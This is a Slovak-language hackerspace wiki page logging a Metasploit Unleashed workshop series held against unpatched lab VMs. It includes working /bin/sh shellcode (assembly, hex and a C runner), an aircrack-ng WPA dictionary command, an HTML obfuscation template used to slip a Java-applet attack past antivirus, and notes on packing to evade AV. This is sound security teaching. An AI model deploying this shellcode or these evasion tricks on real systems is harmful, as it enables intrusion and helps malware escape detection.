User Tools

Site Tools


event:metasploit_unleashed_workshop

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
Last revisionBoth sides next revision
event:metasploit_unleashed_workshop [2013/01/15 09:14] – template stevkoevent:metasploit_unleashed_workshop [2016/11/25 08:05] – ↷ Links adapted because of a move operation ruza
Line 1: Line 1:
 +~~NOTOC~~
  
 +====== Metasploit Unleashed Workshop ======
 +
 +{{template>infobox|
 +name=Metasploit Unleashed Workshop|
 +image=:event:metasploit_unleashed_logo-00.png|
 +founder=[[user:zombie]]|
 +datetime=Raz za mesiac \\ vo štvrtok \\ (nie prvého) \\ o 20:00|
 +place=brmlab|
 +stream=[[stream]]}}
 +
 +==== Aktuálny stav (6/2012) ====
 +
 +Metasploit Unleashed workshop pokračuje. Chcem sa spýtať, o aké témy
 +bude záujem (viď nižšie)?
 +
 +Ďalšia vec je, že by sa workshop nekonal každý týždeň, ale menej často
 +(napríklad 1x za mesiac) vo štvrtok. Záleží na dohode...
 +
 +
 +==== Správa o štarte pravidelného workshopu (10/2011) ====
 +
 +Rád by som urobil v brmlabe Metasploit Unleashed workshop. Bol by
 +pravidelne raz za týždeň, prešlo by sa postupne od úplných základov,
 +cez písanie exploitu, až k featurám metasploitu, ako je skriptovanie
 +meterpreteru. Po skončení organizovaných stretnutí dúfam, že zostane
 +hŕstka ľudí pracovať na hľadaní dier a písaní exploitov.
 +
 +Nemá to byť prednáška pri tabuli, ale skúšanie príkladov naživo (jeden
 +na projektor a inak každý sám na svojom počítači). Predpokladom je
 +nainštalovaný Virtualbox alebo VMWare (od VMWare sú zdarma verzie
 +Player a Server). Musia byť funkčné (to je upozornenie pre tých, čo
 +majú nejak upravený kernel).
 +
 +Prvý týždeň sa budú preberať základy (používanie msfconsole, rozdiely
 +medzi payloadami, použitie existujúceho exploitu voči Windows XP SP2,
 +úplne základné použitie meterpreteru).
 +
 +Komu sa bude páčiť workshop alebo materiál Metasploit Unleashed, nech
 +zváži dobrovoľný dar pre [[http://www.hackersforcharity.org/|Hackers for Charity]].
 +
 +
 +===== Video =====
 +
 +==== Stream ====
 +
 +  * https://brmlab.cz/stream
 +
 +==== Záznam ====
 +
 +  * http://video.hrach.eu/index.php?akce=8
 +  * na serveri data (nat.brmlab.cz) v /data/mirror/metasploit_unleashed/*.flv
 +  * pri nahrávaní na serveri brmvid v /bubuntu/rec*
 +
 +===== Čo je potreba mať nainštalované =====
 +
 +Virtuálne mašiny k dispozícii na serveri data (nat.brmlab.cz), prístup má ten, kto dá Růžovi ssh kľúč, prípadne pozná heslo na web http://nat.brmlab.cz/metasploit:
 +
 +  * BackTrack r1 VM (32-bit): /data/mirror/metasploit_unleashed/BT5R1-GNOME-VM-32
 +    * pre VMWare
 +    * pre VirtualBox (ten istý image; použíje sa cez Machine->New->...->Use existing disk->vybrať .VMDK súbor)
 +    * hlavne kvôli metasploitu
 +  * Windows XP Pro SP2 (bez patchov, povypínané firewally a varovania)
 +    * pre VMWare
 +    * pre VirtualBox
 +    * ako cieľová mašina na útočenie
 +
 +Je možné púšťať metasploit inak, ako z BackTracku. Je ale potreba mať ruby a aby fungovalo spojenie s databázou (viď db_* príkazy), nakonfigurovať postgresql/mysql. Aktuálna verzia zo SVN (odporúčaný spôsob inštalácie):
 +
 +<code>
 +$ svn co https://www.metasploit.com/svn/framework3/trunk/ metasploit/
 +</code>
 +
 +Človek môže mať nainštalované nejaké vlastné Windows (taký človek sa aspoň nebude nudiť, lebo mu možno nebude fungovať všetko tak bez problémov, ako ostatným, ktorí majú rovnakú mašinu).
 +
 +
 +===== Materiály =====
 +
 +http://www.offensive-security.com/metasploit-unleashed/
 +
 +http://www.ms.mff.cuni.cz/~zembm2am/exploity/exploity.html#shellkod
 +
 +===== 1. týždeň =====
 +
 +  * msfconsole
 +  * msfcli
 +  * moduly
 +  * meterpreter
 +
 +===== 2. týždeň =====
 +
 +Téma: identifikácia služieb v sieti, scanovanie
 +
 +  * db_*
 +  * nmap
 +  * auxiliary/scanner/portscan
 +  * snmp
 +  * psnuffle
 +  * idle scanning
 +    * [[http://blog.carlosgarciaprado.com/?p=91|Fix for auxiliary(ipidseq) RuntimeError Pcaprub]]
 +
 +===== 3. týždeň (2011-11-10) =====
 +
 +Téma: hľadanie zraniteľností (Nessus/OpenVAS, neXpose)
 +
 +  * OpenVAS 0 výsledkov
 +  * Nessus sme konfigurovali a získali výsledky; db_autopwn zlyhalo
 +
 +===== 4. týždeň (2011-11-17) =====
 +
 +Téma: Wi-Fi
 +
 +Je k tomu treba mať kartu, ktorá vie packet injection a balík aircrack-ng. Utility bežiace pod vmware-om vedia použiť wi-fi karty, ktoré sa pripájajú cez USB.
 +
 +Či funguje packet injection, sa rozozná príkazom aireplay-ng --test; vo výstupe musí byť nenulové percento odpovedí (tj. 0% u každého AP znamená, že niečo nie je v poriadku).
 +
 +Dúfam, že sa stihneme dostať aj ku karmetasploitu. K tomu je potreba metasploit s databázou.
 +
 +Čo sme nakoniec robili:
 +
 +  * crack WEP
 +  * crack WPA-PSK (slovníkovým útokom)
 +    * aircrack poslúžil lepšie než cowpatty
 +      * crackoval pcap dump, o ktorom cowpatty tvrdil, že v ňom nie je celý handshake
 +      * berie štandardný vstup, ide potom napr. filtrovať zo slovníka dostatočne dlhé heslá na PSK:
 +
 +<code>
 +grep -E '^.{8,63}$' /pentest/wordlists/dar... | aircrack-ng -w - -a 2 -e metasploitwifi airodump-dump.cap
 +</code>
 +
 +  * karmetasploit
 +    * podľa materiálov
 +    * db_connect treba z karma.rc vymazať; lebo s nesprávnym heslom iba spôsobí odpojenie
 +    * browser-autopwn nakoniec nehackol naše testovacie Windows
 +
 +
 +
 +===== 5. týždeň (2011-11-24) =====
 +
 +Téma: Fuzzing
 +
 +  * fuzzovanie pomocou metasploitu..?
 +  * HotFuzz
 +    * download
 +      * buďto lokálne z data:/data/mirror/metasploit_unleashed/HotFuzz
 +      * alebo z projektovej stránky http://sourceforge.net/projects/hotfuzz/
 +    * inštalácia (ideálne do VMWare Windows XP, ktoré už všetci máme; pozor, VirtualBox verzia má po inštalácii už iba 200MB voľného miesta, to je obmedzujúce pre doinštalovanie ďalších aplikácií, ktoré by sa mohli fuzzovať)
 +      * všetko iba odklikať (v každom jednotlivom inštalátore, ktorý sa spustí)
 +        * BIND si pred inštaláciou vypýta heslo, stačí vyplniť ľubovoľné a spustiť inštaláciu BINDu
 +
 +===== 6. týždeň (2011-12-08) =====
 +
 +(po Lightning talkoch)
 +
 +Téma: Fuzzing skutočný workshop...?
 +
 +...každý si bude fuzzovať aplikáciu, ktorú chce?
 +  * [[project:brmlife:start]]
 +
 +===== 7. týždeň (2011-12-15) =====
 +
 +Téma: Exploity
 +
 +  * Immunity debugger
 +  * exploit na CesarFTP
 +  * išlo to veľmi pomaly; na ďalšom workshope to zopakujeme rýchlejšie
 +
 +===== 8. týždeň (2011-12-22) =====
 +
 +  * nekonal sa, podobne niekoľko ďalších
 +
 +===== Shellkódy (2012-01-19) =====
 +
 +Téma: Shellkód, jeho stavba
 +  * http://www.ms.mff.cuni.cz/~zembm2am/exploity/exploity.html#shellkod
 +  * AT&T syntax MOV priraďuje do argumentu vpravo, Intel syntax do ľavého.
 +  * užitočné príkazy gdb po spustení gdb fungujeshellkod:
 +
 +
 +  start
 +  n
 +  info registers
 +  set $eip = shellkod
 +  display/3i $eip
 +  ni
 +  set disassembly-flavor intel
 +  x/30i shellkod    
 +
 +
 +  * v shellkod1.c (a všetkom, čo z neho vychádzalo, nám chýbalo priradenie NULL do registru edx)
 +
 +<code>
 +            xorl %eax, %eax         /* vyrob nulu */ ; \
 +            movl %eax, %edx         /* 3. parametr execve (*envp := NULL) */ ; \
 +</code>
 +
 +
 +  * Segmentation fault sme narozdiel od textu riešili touto zmenou:
 +
 +<code>
 +#include <asm/mman.h>
 +
 +mprotect( (void*) ((unsigned) shellkod & 0xffffe000), 4096, PROT_WRITE | PROT_READ | PROT_EXEC );
 +</code>
 +
 +  * celá verzia shellkod1 napísaná pre nasm:
 +
 +<code>
 +[bits 32]
 +    jmp    finta
 +shellkod:
 +    pop    esi
 +    mov    DWORD [esi+0x8],esi
 +    xor    eax,eax
 +    mov    edx,eax
 +    mov    DWORD [esi+0xc],eax
 +    mov    BYTE [esi+0x7],al
 +    mov    al,0xb
 +    mov    ebx,esi
 +    lea    ecx,[esi+0x8]
 +    int    0x80
 +    xor    ebx,ebx
 +    xor    eax,eax
 +    inc    eax
 +    int    0x80
 +finta:
 +    call   shellkod
 +    db      "/bin/sh"
 +
 +</code>
 +
 +  * kompilácia a rýchlejší prevod na reťazec:
 +
 +  nasm asmintel.asm 
 +  /mnt/debian/usr/src/linux-kbuild-2.6.30/scripts/bin2c < asmintel
 +  "\xeb\x1e\x5e\x89\x76\x08\x31\xc0\x89\xc2\x89\x46\x0c\x88\x46\x07"
 +  "\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80"
 +  "\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
 +
 +
 +
 +  * výsledný fungujeshellkod.c volá priamo funkciu (ret + 2 nefungovalo)
 +
 +<code>
 +#include <stdio.h>
 +#include <asm/mman.h>
 +
 +char * shellkod =
 +    "\xeb\x1e\x5e\x89\x76\x08\x31\xc0\x89\xc2\x89\x46\x0c\x88\x46\x07"
 +    "\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80"
 +    "\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
 +                    ;
 +
 +int main() {
 +    mprotect( (void*) ((unsigned) shellkod & 0xffffe000), 4096, PROT_WRITE | PROT_READ | PROT_EXEC );
 +    void(*f)(void) = shellkod;
 +    f();
 +    return 0;
 +}   
 +
 +</code>
 +
 +===== Java applet infection (2012-01-26) =====
 +
 +Oproti oficiálnemu materiálu sme urobili tieto zmeny:
 +
 +  - opraviť vo VBScripte chýbajúci backslash pri >> C:\windows\...
 +  - výsledné HTML kvôli antivíru obfuskovať nasledovne:
 +
 +    <html>
 +    <body bgcolor="white">
 +        <div id="java">
 +            <script>
 +                var div = document.getElementById('java');
 +                div.innerHTML =
 +                    // sem vložiť pôvodný obsah zakódovaný 
 +                    // cez String.fromCharCode(), 
 +                    // napr. pomocou HackBaru
 +                ;
 +            </script>
 +        </div>
 +    </body>
 +    </html>
 +
 +===== Encoding/packing (2012-02-09) =====
 +
 +Na minulom workshope sme si ukázali, ako pomocou Java appletu ovládnuť Windows mašinu. Ukázali sme si, ako si udržať prístup pomocou backdooru. V prípade, že je nainštalovaný antivírus (v našom prípade AVG), obsah útočnej stránky je zablokovaný. To sa nám podarilo obísť zakódovaním HTML stránky.
 +
 +Antivírus ale naďalej detekuje hrozbu v ukladanom .exe súbore. Na ďalšom workshope si ukážeme, ako ho upraviť za účelom obídenia tejto detekcie.
 +
 +Treba mať nainštalované: OllyDbg, LordPE (sú tiež stiahnuté v /data/mirror/metasploit_unleashed/debugger), z minulého workshopu aspoň funkčné Windows (!) a nejaký antivírus. Metasploit sa bude hodiť (kvôli generovaniu .exe súboru a kvôli multi/handleru, aby sa meterpreter mal kam pripojiť).
 +
 +Materiály:
 +
 +  * https://docs.google.com/viewer?a=v&q=cache:SqL3L5YM3r0J:www.exploit-db.com/wp-content/themes/exploit/docs/17066.pdf+bypass+anti-virus+educational&hl=cs&gl=cz&pid=bl&srcid=ADGEESjDs861ESqIsOl4V_9wXEXM5PASBvyav90FjU59aT-Y6n4iYPCDQkUx4ALxHzs_2oobj_jlCQ4rOCJDfnqFCrkKyk0xJjaQoDZ8y7QpvYNGc1aD9hrhuyM1z5TGPS4s_O8bTB1l&sig=AHIEtbTLXFbZvsRX5I2o90A3wJkk1wBnqg
 +  * http://0entropy.blogspot.com/2011/01/meterpreter-xor-for-further-av-bypass.html
 +
 +Na workshope vznikol problém -- OllyDBG nám zobrazoval iný entry point, ako LordPE. Je to vlastnosť: nový OllyDBG 2.01 rozoznáva packer a analyzuje ho. Dá sa to vypnúť v Options->Options (Ctrl+O), SFX->Unpack... (uncheck), Use real entry from previous run (uncheck).
 +
 +
 +===== A co dál? =====
 +
 +==== Príspevky ====
 +
 +O aké témy je záujem?
 +
 +Kto by si mohol prípadne pripraviť nejakú tému (z Metasploit
 +Unleashed alebo im príbuznú)? Viz http://www.offensive-security.com/metasploit-unleashed/, alebo tu je niekoľko ďalších na výber:
 +
 +  * encoding/packing za účelom obídenia antivíru (ešte sa nekonalo)
 +  * ako packer umiestniť, aby sa nemusel meniť Origin-Entry Point
 +  * format string vulnerabilities
 +  * return-to-libc exploiting
 +  * SafeSEH exploiting
 +  * file format vulnerabilities
 +
 +  * https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit
 +  * https://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Todo
 +  * [[http://ftp.heanet.ie/mirrors/|Old SWs Repository]]
 +  * http://www.rapid7.com/resources/webcasts.jsp
 +
 +==== Úlohy ====
 +
 +Hodilo by sa vyriešiť nasledujúce problémy: 
 +
 +  - meterpreter persistence skript (ktorý inštaluje backdoor) nekontroluje, či už nie je backdoor nainštalovaný
 +    * ak sa pripája na handler, ktorý spúšťa persistence, vedie to k exponenciálnemu nárastu backdoorov
 +    * ak sa pripája na inú adresu, hrozí, že užívateľ musí do personal firewallu dve spojenia miesto jedného
 +  - jobs -v nezobrazí dosť podrobné informácie (ako hodnoty AutoRunScript), jobs -v -i <n> zobrazí nepravdivé hodnoty
 +
 +==== Links ====
 +
 +  * http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
 +
 +{{tag>video}}
event/metasploit_unleashed_workshop.txt · Last modified: 2016/12/07 22:08 by 127.0.0.1